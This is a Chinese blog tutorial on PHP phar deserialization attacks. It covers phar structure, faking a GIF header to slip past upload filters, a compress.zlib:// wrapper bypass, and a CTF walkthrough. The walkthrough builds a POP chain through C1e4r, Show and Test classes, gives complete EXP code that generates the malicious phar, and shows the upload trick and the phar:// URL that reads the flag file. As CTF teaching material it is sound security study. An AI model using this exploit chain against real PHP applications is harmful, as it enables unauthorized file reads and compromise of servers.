【反序列化漏洞】phar反序列化原理&实例分析

简介: 简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。

一、漏洞原理:

phar介绍:

简单来说phar就是php压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与file:// php://等类似,也是一种流包装器。


phar结构由 4 部分组成:

stub phar 文件标识,格式为 xxx;

manifest 压缩文件的属性等信息,以序列化存储;

contents 压缩文件的内容;

signature 签名,放在文件末尾;

这里有两个关键点:

①文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制

②反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化


而这样的文件操作函数有很多:


将phar伪造成其他格式的文件:

只需要改文件头stub即可,php识别phar文件是通过其文件头的stub,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件:

$phar -> setStub('GIF89a'.'');


利用条件:

①phar文件能够上传

②文件操作函数参数可控,: / phar等特殊字符没有被过滤

③有可用的魔术方法作为"跳板"


绕过phar://不能出现在头部:

这时候我们可以利用compress.zlib://、compress.bzip2://、 compress.zlib://和compress.bzip2: //

payload:


compress.zlib://phar://phar.phar/test.txt




二、phar反序列化实例:

题目源码环境结构如下:


①pop链分析与构造

访问题目环境:

file.php是用于读取文件内容的,可利用此文件将以上文件的源码复制到本地进行分析(这里我就忽略了)


接下来分析关键代码class.php,文件中有三个类:C1e4r、ShowTest

首先我们根据受影响的函数,定位到漏洞触发点:

Test类中的file_get()方法,这里使用了file_get_contents()函数对$value进行了文件读取的操作:


这次我用倒推的思路进行分析,然后看哪个方法又调用了file_get()方法,发现同一个类中的get()方法调用了file_get()方法,然后我们来看一下$value的赋值过程,往前几行看到$value变量的赋值首先经过if判断$this->params[$key]是否有值,如果有值就赋值给$value,所以我们可以想办法将$value的值为flag文件路径


接着看get()方法在哪被调用,还是在Test类中,在__get()魔术方法中调用了get()方法

__get()魔术方法:

当程序调用一个未定义或不可见的成员变量时,会自动调用__get方法来读取变量的值


所以我们要想办法触发__get方法,发现在Show类中的__toString()方法中,使用$this->str['str']->source的方式使用了source属性,而source属性在Test类中是不存在的,所以我们只需要将$this->str['str']赋值为Test类即可触发__get()魔术方法,魔术方法_get() 是有形参的,而上面__get方法中所使用到的实参$key就是这个不存在的变量source


所以Test类中的get方法传入的实参为source,最终$this->params[$key]变为了$this->params['source'],也就是这,所以我们只需要将其赋值为flag文件的路径即可


接着我们要触发Show类中的__toString()方法,发现在C1e4r类中的析构方法__destruct()中用echotest属性进行输出,而test属性在前面是通过str属性进行赋值的,所以我们只需要将str属性赋值为Show类将其作为字符串输出,从而触发其__toString()方法


所以完整的pop链为:


C1e4r::__destruct() -> Show::__toString() -> Test::__get() -> get() -> file_get()


获取flag文件的绝对路径:

file.php获取到网站根目录:


再通过show类中的_show方法的正则得知flag文件名:


所以绝对路径为:


/var/www/html/f1ag.php



②构造EXP:



<?php
class C1e4r{    public $test;    public $str;
}
class Show
{    public $source;    public $str;
}
class Test
{    public $file;    public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$a->str = $b;       // 将C1e4r类的str属性设置为Show类触发其__toString()方法
$b->str['str']=$c;       // 将Show类的str属性的str健值设置为Test类触发其__get()方法
$c->params['source'] ='/var/www/html/f1ag.php';   // 设置读取的文件名
// 生成phar文件
$phar = new Phar('phar.phar'); //后缀名必须为phar
$phar -> stopBuffering();
$phar -> setStub('');
$phar -> setMetadata($a); //将自定义的meta-data存入manifest
$phar -> addFromString('test.txt','test');//添加要压缩的文件
$phar -> stopBuffering();   //签名自动计算




生成phar文件需要修改php.ini中的配置:


然后执行exp生成phar文件


phar文件内容如下:


③上传phar进行利用:

上传phar文件并利用burp抓包


后端对文件后缀名进行了白名单限制,所以我们利用burp改后缀即可


改包后上传成功:


访问上传目录,可以看到刚才上传的文件:


然后利用phar协议读取flag即可:


http://c98f921e-51e5-42d6-a04a-ab1acfa5b6cd.node4.buuoj.cn:81/file.php?file=phar://upload/xxx.jpg





目录
相关文章
|
2月前
|
存储 Java
【IO面试题 四】、介绍一下Java的序列化与反序列化
Java的序列化与反序列化允许对象通过实现Serializable接口转换成字节序列并存储或传输,之后可以通过ObjectInputStream和ObjectOutputStream的方法将这些字节序列恢复成对象。
|
6天前
|
存储 XML JSON
用示例说明序列化和反序列化
用示例说明序列化和反序列化
|
15天前
|
JSON fastjson Java
niubility!即使JavaBean没有默认无参构造器,fastjson也可以反序列化。- - - - 阿里Fastjson反序列化源码分析
本文详细分析了 Fastjson 反序列化对象的源码(版本 fastjson-1.2.60),揭示了即使 JavaBean 沲有默认无参构造器,Fastjson 仍能正常反序列化的技术内幕。文章通过案例展示了 Fastjson 在不同构造器情况下的行为,并深入探讨了 `ParserConfig#getDeserializer` 方法的核心逻辑。此外,还介绍了 ASM 字节码技术的应用及其在反序列化过程中的角色。
42 10
|
15天前
|
存储 Java 开发者
Java编程中的对象序列化与反序列化
【9月更文挑战第20天】在本文中,我们将探索Java编程中的一个核心概念——对象序列化与反序列化。通过简单易懂的语言和直观的代码示例,你将学会如何将对象状态保存为字节流,以及如何从字节流恢复对象状态。这不仅有助于理解Java中的I/O机制,还能提升你的数据持久化能力。准备好让你的Java技能更上一层楼了吗?让我们开始吧!
|
23天前
|
存储 Java
Java编程中的对象序列化与反序列化
【9月更文挑战第12天】在Java的世界里,对象序列化与反序列化是数据持久化和网络传输的关键技术。本文将带你了解如何通过实现Serializable接口来标记一个类的对象可以被序列化,并探索ObjectOutputStream和ObjectInputStream类的使用,以实现对象的写入和读取。我们还将讨论序列化过程中可能遇到的问题及其解决方案,确保你能够高效、安全地处理对象序列化。
|
6天前
|
JSON 安全 编译器
扩展类实例的序列化和反序列化
扩展类实例的序列化和反序列化
13 0
|
11天前
|
XML Dubbo Java
分布式-序列化,反序列化
分布式-序列化,反序列化
|
2月前
|
存储 Java
Java编程中的对象序列化与反序列化
【8月更文挑战第28天】在Java世界中,对象序列化与反序列化是数据持久化和网络传输的关键技术。本文将深入浅出地探讨这一过程,带你领略其背后的原理及应用,让你的程序在数据的海洋中自由航行。
|
2月前
|
Java
JDK序列化原理问题之Hessian框架不支持writeObject/readObject方法如何解决
JDK序列化原理问题之Hessian框架不支持writeObject/readObject方法如何解决
|
2月前
|
自然语言处理 JavaScript 前端开发
JDK序列化原理问题之FuryJDK序列化性能问题的如何解决
JDK序列化原理问题之FuryJDK序列化性能问题的如何解决